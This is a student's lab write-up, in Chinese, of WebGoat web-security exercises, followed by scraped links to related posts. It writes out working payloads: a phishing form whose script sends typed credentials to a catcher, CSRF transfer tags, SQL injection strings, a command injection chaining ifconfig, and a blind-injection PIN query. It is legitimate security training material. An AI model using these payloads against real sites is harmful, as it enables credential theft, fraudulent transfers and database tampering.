20155304 《网络对抗》Exp9 web安全基础实践

实验后回答问题

(1)SQL注入攻击原理,如何防御

攻击原理:web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

防御:利用输入规则限制进行防御,不允许特殊字符输入。不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。

(2)XSS攻击的原理,如何防御

攻击原理:XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。

防御:类似于saol注入的防御,永远不相信用户的输入。需要对用户的输入进行处理,只允许输入合法的值,其它值一概过滤掉。如果不能对用户数据进行严格的过滤,那我们也需要对标签进行转换。

(3)CSRF攻击原理,如何防御

攻击原理:(Cross Site Request Forgery, 跨站域请求伪造)是一种网络的攻击方式,它在 2007 年曾被列为互联网 20 大安全隐患之一,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用也就是人们所知道的钓鱼网站。它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。

防御:通过 referer、token 或者 验证码 来检测用户提交。

尽量不要在页面的链接中暴露用户隐私信息。

对于用户修改删除等操作最好都使用post 操作 。

避免全站通用的cookie,严格设置cookie的域。

实验内容

WebGoat

在终端中输入java -jar webgoat-container-7.0.1-war-exec.jar开启WebGoat。

当页面成功停在下图位置时,最小化终端窗口:

打开浏览器,在地址栏输入localhost:8080/WebGoat打开WebGoat,选择默认账号、密码即可登陆成功。

XSS攻击

1、Phishing with XSS 跨站脚本钓鱼攻击

跨站脚本攻击最大的魅力是通过HTML注入劫持用户的浏览器,任意构造用户当前浏览的HTML内容,甚至可以模拟用户当前的操作。这里实验的是一种获取用户名和密码的攻击

先编写一个包含用户名、密码的前端代码:

<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div> </div></div>
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>

然后在webgoat找到xss攻击打开Phishing with XSS,

将这段代码输入到输入框中,点击search出现如下登录框:

在登录框中输入用户名、密码:

点击登录后跳出弹框,其中包含用户输入的用户名、密码。攻击成功!

Stored XSS Attacks 存储型XSS攻击

打开Stored XSS Attacks

在Message框中输入

点击提交后弹出对话框,攻击成功!

Reflected XSS Attacks 反射型XSS攻击

打开xss的第三个攻击,在code框中输入<script>alert("20155304");</script>

点击Purchase出现对话框,攻击成功!

CSRF攻击

1、Cross Site Request Forgery(CSRF)

查看页面右边Parameters中的src和menu值。

在title框中输入学号,message框中输入代码:<img src='attack?Screen=src值&menu=menu值&transferFunds=转账数额' width='1' height='1'>

提交后生成一个链接20155304:点击学号名即可查看用户操作的信息,攻击成功

2、CSRF Prompt By-Pass

查看页面右边Parameters中的src和menu值,并在title框中输入学号,message框中输入代码:<iframe src="attack?Screen=src值&menu=menu值&transferFunds=转账数额"> </iframe> <iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> </iframe>

点击标题链接,攻击成功

SQL注入攻击

1、Numeric SQL Injection

我们看到这一题的选择框也是一个下拉框,在当前网页上无法修改,于是,我们使用BurpSuite抓包修改

打开BurpSuite:在BurpSuite中依次选择Proxy->Options->Add添加一个端口,将绑定的端口设为5304,点击确认后会在Options下增加一行,勾选新形成的这一行:

点击浏览器右上方的更多选项卡,选择preference

在页面左侧选择advanced,选择network页标签,在connection那一行选择settings…

在弹出的窗口中设置代理服务器和端口(要与BurpSuite中绑定的一致)

设置好代理后回到题目页面,点击Go,然后进入BurpSuite中依次选择Proxy->Intercept,可以看到已经抓到了包:

右键选择send to repeater

进入repeater页标签,选择Params将其中station的值改为101 or 1=1,点击Go运行,查看右侧代码可以看到包中的SQL语句为

SELECT * FROM weather_data WHERE station = 101 or 1=1

回到Proxy中点击Intercept is on对剩下的包不作处理,回到火狐发现已经成功。

2、Command Injection

我们看到这一题的选择框是一个下拉框,在当前网页上无法修改,于是,我们使用BurpSuite抓包修改

在题目页面点击view,然后进入BurpSuite中,在repeater页标签的Params选项中先运行一次,查看数据都提交的位置:

然后修改HelpFile的值为,其中的双引号是为了封闭原语句中的双引号,&&在命令行中是执行另外一条语句的意思,点击GO发现执行了ifconfig语句

回到题目发现显示破解成功。

3、Log Spoofing

在User Name文本框中输入%0d%0aLogin succeeded !admin达到欺骗登录效果,破解成功:

4、LAB:SQL Injection(Stage 1:String SQL Injection)

使用一个新的工具firebug,可以显示当前网页的源码并直接在其中修改。

使用用户Neville进行登录,在密码栏中输入' or 1=1 --进行SQL注入,本以为会成功,但是登录失败,查看源码发现输入框对输入的字符长度进行了限制,最多允许输入8个字符。

在查看源码的时候怎么找到限制字符长度的语句在哪里呢?在查看源码的窗口的顶部左边有一个鼠标一样的标志,点击它,再点击题目页面的password输入框的位置,源码部分就会自动跳转到关于密码的部分

5、LAB:SQL Injection(Stage 3:Numeric SQL Injection)

用上一题的方法成功登录

查看网页源码,选择查看viewprofile部分的代码,这时候可以看到一行用员工id作为索引来传送数据的代码,双击这行代码就可以出现value的值,因为我们想要用Larry的账户浏览老板信息,而大多数企业公司里老板的工资应该是最高的,所以我们就把其中的value值由101改为101 or 1=1 order by salary desc --,这样老板的信息就会被排到第一个让我们看到

电话地址电邮工资卡等等信息一览无余。

6、String SQL Injection

在输入框中输入Smith进行尝试,观察下方形成的输入语句,可以看到输入的Smith在两个单引号之间:

构造永真式'or 1='1,第一个分号用来闭合原输入语句的前一个分号,而第二个分号用来闭合原输入语句的后一个分号,使这条语句被强行拆分成为两条语句。

这样一来,攻击就成功了,可以显示所有用户的信息了。

7、Database Backdoors

先输入示例101进行尝试,得到了该用户的信息。

观察发现输入的语句不进行验证,于是我们输入语句:101; update employee set salary=666666成功将该用户的工资变成666666,攻击成功:

8、Blind Numeric SQL Injection

尝试题目中给出的例子,在输入框输入101,运行后发现返回Account number is valid,说明这个数是合法的!

构造输入语句101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 数值 );

,根据返回的语句是否合法判断pin值的范围。

这里使用二分法,输入2364后破解成功:

实验总结与体会

本次实验也是最后一个实验,也是较为繁琐的一个实验。做了这么多的网络攻防实验,真的收获很多,在实验中我们能了解到实际效果的危险、漏洞、后门、病毒,网络安全真的需要我们重视起来,同时也增强了我的安全防范意识。

20155304 《网络对抗》Exp9 web安全基础实践的更多相关文章

  1. 20155211 网络对抗 Exp9 Web安全基础实践

    20155211 网络对抗 Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语 ...

  2. 20155326《网络对抗》Web安全基础实践

    20155326<网络对抗>Web安全基础实践 实验后回答的问题 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是在Web应用对后台数据库查询语句处理存在的安全漏洞,通过构建特殊 ...

  3. 20145308 《网络对抗》Web安全基础实践 学习总结

    20145308 <网络对抗> Web安全基础实践 学习总结 实验内容 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 基础问题回答 (1)SQL注入攻击原理, ...

  4. 20145326蔡馨熤《网络对抗》—— Web安全基础实践

    20145326蔡馨熤<网络对抗>—— Web安全基础实践 1.实验后回答问题 (1)SQL注入攻击原理,如何防御. 原理: SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程 ...

  5. 20155206《网络对抗》Web安全基础实践

    20155206<网络对抗>Web安全基础实践 实验后问题回答 (1)SQL注入攻击原理,如何防御 攻击原理:SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查 ...

  6. 20155305《网络对抗》Web安全基础实践

    20155305<网络对抗>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL ...

  7. 20155307《网络对抗》Web安全基础实践

    20155307<网络对抗>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL ...

  8. 20155311《网络对抗》Web安全基础实践

    20155311<网络对抗>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL ...

  9. 20155338《网络对抗》Web安全基础实践

    20155338<网络对抗>Web安全基础实践 实验过程 WebGoat 在终端中输入 java -jar webgoat-container-7.0.1-war-exec.jar 开启W ...

  10. 20145216史婧瑶《网络对抗》Web安全基础实践

    20145216史婧瑶<网络对抗>Web安全基础实践 实验问题回答 (1)SQL注入攻击原理,如何防御 攻击原理: SQL注入攻击指的是通过构建特殊的输入作为参数传入web应用程序,而这些 ...

随机推荐

  1. AsyncTask GET请求

    布局: <?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android= ...

  2. Android之编写测试用例

    测试是软件工程中一个非常重要的环节,而测试用例又可以显著地提高测试的效率和准确性.测试用例其实就是一段普通的程序代码,通常是带有期望的运行结果的,测试者可以根据最终的运行结果来判断程序是否能正常工作. ...

  3. [Android] ACTION_GET_CONTENT与ACTION_PICK的区别

    参考:AndroidSDK/docs/reference/android/content/Intent 看到相关代码,对这两个参数的区别有点搞不清. 原文地址请保留http://www.cnblogs ...

  4. python 中* 和**的作用

    先举个 ** 使用的例子: data = {"a": 1, "b": 2} def foo(**kwargs): print kwargs foo(a=1, b ...

  5. 负载均衡(Load Balancing)学习笔记(三)

    本文讲述实现负载均衡的常用算法. 轮询法(Round Robin) 轮询法是负载均衡中最常用的算法,它容易理解也容易实现.轮询法是指负载均衡服务器(load balancer)将客户端请求按顺序轮流分 ...

  6. 表的垂直拆分和水平拆分-zz

    https://www.kancloud.cn/thinkphp/mysql-design-optimalize/39326 http://www.cnblogs.com/nixi8/tag/mysq ...

  7. .net 页面传参方式总结

    一.使用Querystring Querystring是一种非常简单的传值方式,其缺点就是:安全性低.会把要传送的值显示在浏览器的地址栏中(也就是不需要保密得参数),并且在此方法中不能够传递对象,参数 ...

  8. Year 2038 problem (2038年问题)

    From Wikipedia, the free encyclopedia       Animation showing how the date would reset, represented ...

  9. VMware虚拟机打开后不兼容

    在版本VMware Workstation10.0设置兼容性,在编辑——首选项——工作空间——设置EXS兼容.计算机工作区域打开虚拟机,右键管理.兼容性从新配置

  10. Phoenix安装配置

    下载Phoenix     在网站http://phoenix.apache.org/download.html找到对应HBase版本的安装程序,并下载安装包,解压安装程序到指定目录 [root@ha ...